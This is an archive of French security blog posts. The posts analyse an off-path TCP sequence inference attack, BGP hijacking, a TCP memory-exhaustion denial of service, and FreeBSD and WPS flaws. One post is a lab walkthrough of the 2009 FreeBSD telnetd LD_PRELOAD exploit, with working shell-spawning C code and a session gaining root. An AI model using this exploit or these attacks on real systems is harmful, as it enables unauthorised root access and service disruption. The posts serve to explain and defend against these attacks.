Making network protocols go crazy - Vulnérabilité

Qu'est-ce que l'attaque "Off-Path TCP Sequence Number Inference"

2012-07-12T14:20:00+02:00

Je suis récemment tombé sur un papier intitulé Off-Path TCP Sequence Number Inference Attack - How Firewall Middleboxes Reduce Security [1]. Je ne connaissais pas la classification Off-path, ou littéralement, hors du chemin. Du coup, j'ai regardé de plus près le contenu de celui-ci.

[1] http://web.eecs.umich.edu/~zhiyunq/pub/oakland12_TCP_sequence_number_inference.pdf

Ce papier propose une nouvelle attaque pour injecter un contenu dans une session TCP, depuis le coté client (en mode non-privilégié). La faute serait sur les middle-boxes, telles que nos chères modems ADSL, par exemple, ou autres firewalls NATant. Plus précisémment, celles faisant du suivi de session en se basant sur l' ISN (Initial Sequence Number) de TCP. C'est ici que serait la faille, ce numéro pourrait fuire à cause d'une fuite d'information accessible en off-path.

Pour qu'une session TCP ne soit pas facilement détournable, un numéro de séquence est généré aléatoirement (sur 32-bits). Si ce numéro venait à être prédictible, ou à fuire, un attaquant pourrait insérer un contenu dans la session. Bien sur, l'attaquant devra également connaitre les adresses IP source et destination, ainsi que les ports TCP source et destination.

Qu'est-ce que l' off-path ? C'est différent d'un man-in-the-middle dans le sens ou l'écoute se fait à coté de la communication. Ici, l' off-path se passe sur le poste client, via un malware. Par exemple, les informations IP/ports se trouvent en utilisant la commande netstat. Ensuite, un side-channel permet de découvrir l' ISN possible. Par l'envoi de segments TCP depuis l'extérieur (adresse IP spoofée) avec un TTL ajusté pour émettre un message d'erreur, et par la consultation des statistiques via le /proc filesystem en local, il est possible de savoir si le segment TCP est passé au travers du firewall (ou non). Si il est passé, l' ISN choisi est autorisé par le firewall. Toutes les infos en mains, l'injection dans une session existante est réalisable. Bon, après, il faut avoir le bon timing, mais des propositions concrêtes sont faites dans le papier [1] que je vous invite à lire.

Plus techniquement, un firewall peut avoir plusieurs politiques pour accepter un segment TCP out-of-order, c'est à dire accepter s'il fait bien partie d'une session établie. En gros, l' ISN est dans la fenêtre (TCP window) ou non. Mais pour connaitre cette fenêtre, le firewall doit aussi garder cet état (tailles de la fenêtre initiale) depuis l'initialisation de la connexion TCP. Evidemment, pour des raisons de performance, ce n'est pas fait dans tous les produits. Du coup, certains firewalls utilisent une fenêtre hardcodée de 1 000 000 000 (1G), par exemple. Ca réduit l'espace des possibles. Il y a d'autres méthodes de suivi de l' ISN, je vous invite à lire le papier.

En gros, tous les dispositifs se reposant sur le suivi de session utilisant l' ISN sont vulnérables de manière plus ou moins critique. Mais la contrainte pour exploiter cette menace est de taille, un malware (non privilégié) doit être installé sur le poste de la victime. Je serai un malware, je ferai autre chose qu'injecter du contenu dans une session TCP ;) genre installer un plugin navigateur Web pour avoir un accès lecture/écriture au contenu.

Comment ne pas couper à la tradition ... ou pas

2012-01-07T17:57:00+01:00

C'est l'heure du billet annuel, pour vous souhaiter une belle et heureuse année 2012 en ces temps sombres.

Je ne prends plus vraiment le temps de poster sur ce blog, ça reviendra peut-être. Pour l'heure, je passe deux informations pour ceux qui dorment sous les rochers (et l'hiver ça doit être dur). L'une portant sur une liste impressionnante de failles ciblant FreeBSD [1][2][3][4][5], et l'autre concernant la faille Wi-Fi de l'année (2011, mais qui va occuper les gens en ce début d'année 2012) [6].

Pas moins de 5 avis de sécurité pour FreeBSD. Un 23 décembre. Il parait que certains sysadmins ont râlé. La plus grosse faille étant un remote root sur le serveur telnet [3] (et oui, encore [8]). Pas grave me direz-vous, puisque tout le monde utilise SSH. Fyodor (nmap) ne semble pas d'accord [7]. D'après ses résultats de scan à grande échelle sur Internet, telnet arrive avant SSH comme service de connexion à distance. Tous les systèmes utilisant une version de code BSD-derived sont impactés. Ca nous fait une belle liste, n'est-il pas ? Il paraît que cette faille était là depuis plus de 12 ans. Miam.

Pour le Wi-Fi, c'est une faiblesse dans l'algorithme d'authentification du WPS (Wi-Fi Protected Setup). Une faiblesse sympathique, puisqu'en à peine 11.000 tentatives, il est possible de s'authentifier sur un point d'accès supportant le WPS. Conséquence d'une attaque réussie : fuite de la clé Wi-Fi partagée. C'est beau.

Sur ce, bonne fin de week-end. Et désactivez le WPS si votre équipement vous en offre la possibilité.

Wohaaa, un remote root old school :)

2009-06-10T21:49:00+02:00

Le 16 février 2009, une vulnérabilité old school est tombée sur telnetd de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en remote. Je vous propose d'étudier la faisabilité de l'idée.

Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un 7.1-RELEASE qui traine dans une VM. On active tout d'abord le telnetd dans /etc/inetd.conf, et on démarre inetd. Mais qui ose encore activer telnetd, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole clear-text ? Ben y'a quand même des gens (hint : scannez Internet).

Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' exploit est on ne peut plus trivial :

// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   FILE *f;
   setenv("LD_PRELOAD", "", 1);
   system("echo GomoR was here;/bin/sh");
}

Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction _init() est une fonction appelée par tous les binaires (au moins ceux au format ELF). Pour être exact, la fonction _init() est intégré dans la section .init du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande objdump attestant que le binaire telnetd possède une section .init :

% objdump -h /usr/libexec/telnetd |grep init
  9 .init         00000011  08049cf0  08049cf0  00001cf0  2**2

Dans notre cas, la nouvelle fonction _init() va exécuter un shell. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement LD_PRELOAD. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre exploit va ainsi remplacer la fonction _init() du binaire telnetd par la sienne, qui exécute un shell. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique :

% file /usr/libexec/telnetd        
/usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped

Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que telnetd ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le shell appelant, soit par le protocole telnet, nous y reviendrons). Les failles LD_PRELOAD, ça, c'est du old school.

Passons à la pratique, l'exploitation à proprement parlée. silenoz est l'attaquant, legion la victime :

silenoz ~
% telnet                                                        
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

Connection closed by foreign host.

Exploit: FAIL. Pourquoi ça ? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur silenoz), et non pas sur la machine legion. Uploadons la méchante bibliothèque sur la cible, et retentons :

silenoz ~
% telnet                          
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

GomoR was here
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# hostname
legion.enslaved.lan
#

Voilà qui est mieux :) Et voyons le contenu du packet du protocole telnet qui place la variable d'environnement :

0040        ff fa 20 00 33 38  34 30 30 2c 33 38 34 30     .. .38 400,3840
0050  30 ff f0 ff fa 27 00 03  4c 44 5f 50 52 45 4c 4f   0....'.. LD_PRELO
0060  41 44 01 2f 74 6d 70 2f  6c 69 62 6e 6f 5f 65 78   AD./tmp/ libno_ex
0070  2e 73 6f 2e 31 2e 30 00  55 53 45 52 01 67 6f 6d   .so.1.0. USER.gom
0080  6f 72 ff f0 ff fa 18 00  58 54 45 52 4d ff f0      or...... XTERM..

Une option du protocole telnet permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de X display ? Qui a encore dit terriblement dangereux ? M'enfin bon, ça existe.

Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD 7.0-RELEASE. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction _init()), cette faille n'est pas exploitable en remote. Donc, very unlikely. Sauf si, bien sûr, vous pouvez uploader un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.

[1] "Full-disclosure FreeBSD zeroday" - http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html

[2] "telnetd code execution vulnerability" - http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc

Man in the middle sur Internet, ça coûte cher ça ?

2008-11-14T18:48:00+01:00

Aujourd'hui, je vais vous parler de BGP (Border Gateway Protocol). Je sais, c'est old news, on en a parlé au DEFCON[1] cet été. Avant de me dire que vous en avez entendu parler ad noseum[2], lisez la suite. Dans ce billet, je vais d'abord citer les faits historiques (pour ceux qui dormaient sous un rocher depuis plusieurs mois), puis je vais chercher à savoir combien ça coûte de hijacker une route BGP.

Les faits. BGP est un protocole de routage inter-AS (Autonomous Systems). Un AS est généralement sous une unique autorité administrative. Les AS doivent dialoguer les uns avec les autres, et entretenir une certaine relation de confiance. Cette relation existe pour que l'échange de routes soit possible, afin que chaque sous-réseau composant Internet puisse être accessible depuis n'importe quel point d'Internet. BGP est donc le protocole permettant l'échange de ces routes entre deux AS. Ensuite, chaque AS "répercute" les routes échangées avec ses AS voisins, jusqu'à ce que tous les AS de la planète connaissent l'existence de ces routes.

Cet été, les chercheurs[3] Kapela et Pilosov ont montré que le détournement de routes via BGP était à la portée de n'importe qui. En effet, nul besoin d'un "exploit" de haut niveau, ni de grande compétence. Juste de posséder un AS. Le fait que les routes sont répercutées d'AS en AS est là la seule faille, si tant est que l'on puisse considérer qu'il y en ait une. Pour ceux qui sont durs de la comprenette, ça veut dire qu'on peut écouter le trafic de n'importe qui. Lisez : utilisez SSL/SSH/IPSec/whatever pour éviter que vos mots de passe transitent en clair sur Internet. Il est largement temps de supprimer tous ces vieux protocoles qui laissent passer des données confidentielles en clair sur Internet.

L'autorité de régulation des télécoms Pakistanaise[4] a voulu utiliser cette "feature" pour bloquer l'accès à YouTube dans son pays, à cause d'une vidéo "blasphématoire". Ils ont donc décidé d'annoncer la route menant à YouTube comme étant nulle dans leur AS. Dommage, les routes se sont propagées sur toute la planète, et plus personne ne pouvait accéder à YouTube.

L'autre conséquence possible, celle montrée par les chercheurs à DEFCON, permet un man in the middle à l'échelle planétaire. Tout simplement. Ils ont re-routés en live le trafic de DEFCON vers leur AS, ont pu sniffer à en provoquer une overdose, tout en re-routant le trafic de leur AS vers DEFCON. Ni vu, ni connu. Enfin presque. Certains penseront qu'un traceroute permettrait de révéler la supercherie, mais en modifiant le TTL des packets du traceroute, le nouveau hop redevient invisible. Et c'est surtout en cela que leur présentation était "nouvelle".

Ok. So now, est-ce que moi, citoyen lambda, je peux re-router le réseau de mon choix pour espionner le trafic à moindre coup ? La réponse est malheureusement oui. Je ne vais pas faire de pub, mais un grand hébergeur français loue des AS "full BGP" pour 100 € HT par mois. Évidemment, je n'ai pas envie de dépenser cette somme pour valider l'attaque, mais le cœur y est, je vous l'assure. Maintenant, pour louer un AS, il y a des contraintes administratives, et votre identité sera très probablement révélée à cet hébergeur. L'aspect anonymisation de l'attaque ne sera, bien sûr, pas abordé ici.

Ce billet ne serait pas complet si je n'abordais pas les solutions. La solution parfaite : S-BGP, tout le monde s'authentifie, et chaque AS est capable d'avoir une vraie confiance en ses voisins. Et les voisins de ses voisins aussi. Mais c'est pire que DNSSEC a déployer. Il ne reste plus que les solutions actuelles : le monitoring[5] de routes, pour détecter quand quelqu'un annonce "par mégarde" le préfixe d'un réseau qui n'est pas le sien. Ça me rappelle les logs des systèmes ou des IDS. C'est bien, mais il faut les lire.

[1] DEFCON 16 Media Archive - https://www.defcon.org/html/links/defcon-media-archives.html

[2] DEFCON 16 Press Release - https://www.defcon.org/html/links/dc_press/dc_press.html

[3] Présentation sous le titre "Stealing The Internet - A Routed, Wide-area, Man in the Middle Attack" - https://www.defcon.org/html/links/defcon-media-archives.html

[4] Pakistan lifts the ban on YouTube - http://news.bbc.co.uk/1/hi/technology/7262071.stm

[5] BGP monitoring and analyzer tool - http://bgpmon.net/

Déni de service universel dans TCP

2008-10-14T23:36:00+02:00

Bon, difficile d'y échapper, surtout à quelques jours de la diffusion des détails. Ce billet fait suite à l'annonce vu sur le blog des chercheurs de chez Outpost24 relatant une nouvelle faille dans le design du protocole le plus utilisé dans l'Internet.

Cette faille, si l'on en croit le peu qui a pu filtrer, porte sur la gestion de la machine à état de TCP. En amenant cette machine dans un certain état, il serait possible de bloquer de l'allocation mémoire sur le système cible, finissant par saturer sa mémoire. Ou bien de saturer sa bande passante. Seulement 200 packets par secondes seraient même suffisant. Tous les systèmes d'exploitation seraient affectés. Well. Want to see that.

Du coup, je me suis (re)penché sur des techniques aussi vieilles que Naphta, en y apportant certaines modifications. Je ne vais pas faire un billet complet sur Naphta, mais en gros, Naphta amène la pile TCP/IP cible soit dans l'état ESTABLISHED, soit dans l'état FIN_WAIT_1 pour accomplir sa sombre tâche de destruction.

Une des dernières hypothèses sur le sujet était une évolution de Naphta, avec en plus l'envoi d'un payload applicatif vers la cible. En n'acquittant pas la réponse obtenue à une requête applicative, la cible va réémettre de nombreuses fois sa réponse, saturant un peu plus sa bande passante ainsi que sa mémoire (le tampon de réponse n'étant jamais libéré).

Faisons un rapide calcul. Soit une adresse IP ouvrant 60 000 connexions vers un serveur Apache. Imaginons que chacune de ces connexions entraîne l'émission d'une réponse HTTP d'environ 2 ko (chiffre arbitraire, mais je le prends comme moyenne acceptable). 60 000 x 2, soit 120 Mo. Outre le fait que je vais me prendre 120 Mo de trafic dans la tronche, la cible risque fort de garder 120 Mo de tampon alloués en mémoire. Et oui, puisque je n'acquitterai pas (au sens TCP ACK), la cible va garder ça dans un tampon, et réémettre à certains intervalles ce packet (et encore me balancer 120 Mo dans la tronche).

Vous allez me dire : la cible supportera certainement 120 Mo dans sa mémoire et sur sa bande passante. Par contre moi ... Maintenant, multipliez ce nombre par 10. 10 machines lançant cette attaque. En cherchant un peu, il est possible (hypothèse de ma part) que les chercheurs en question utilisent plusieurs adresses IP sources pour leur attaque. D'abord pour contourner la limitation de bande passante de l'attaquant, ensuite pour contourner la limitation des 60 000 (65 535, en fait) connexions correspondant au tuple adresseSource,portSource,adresseDestination,portDestination. Là, on atteint 1 Go pour 10 IP. 10 Go pour 100 IP. Ca à l'air pas mal.

Ainsi, j'ai développé un programme en utilisant mon framework préféré (Net::Frame) pour tester l'efficacité des ces attaques. Mais comme ce soir, j'ai la flemme de mettre ça au propre, ce sera peut-être l'objet d'un autre billet.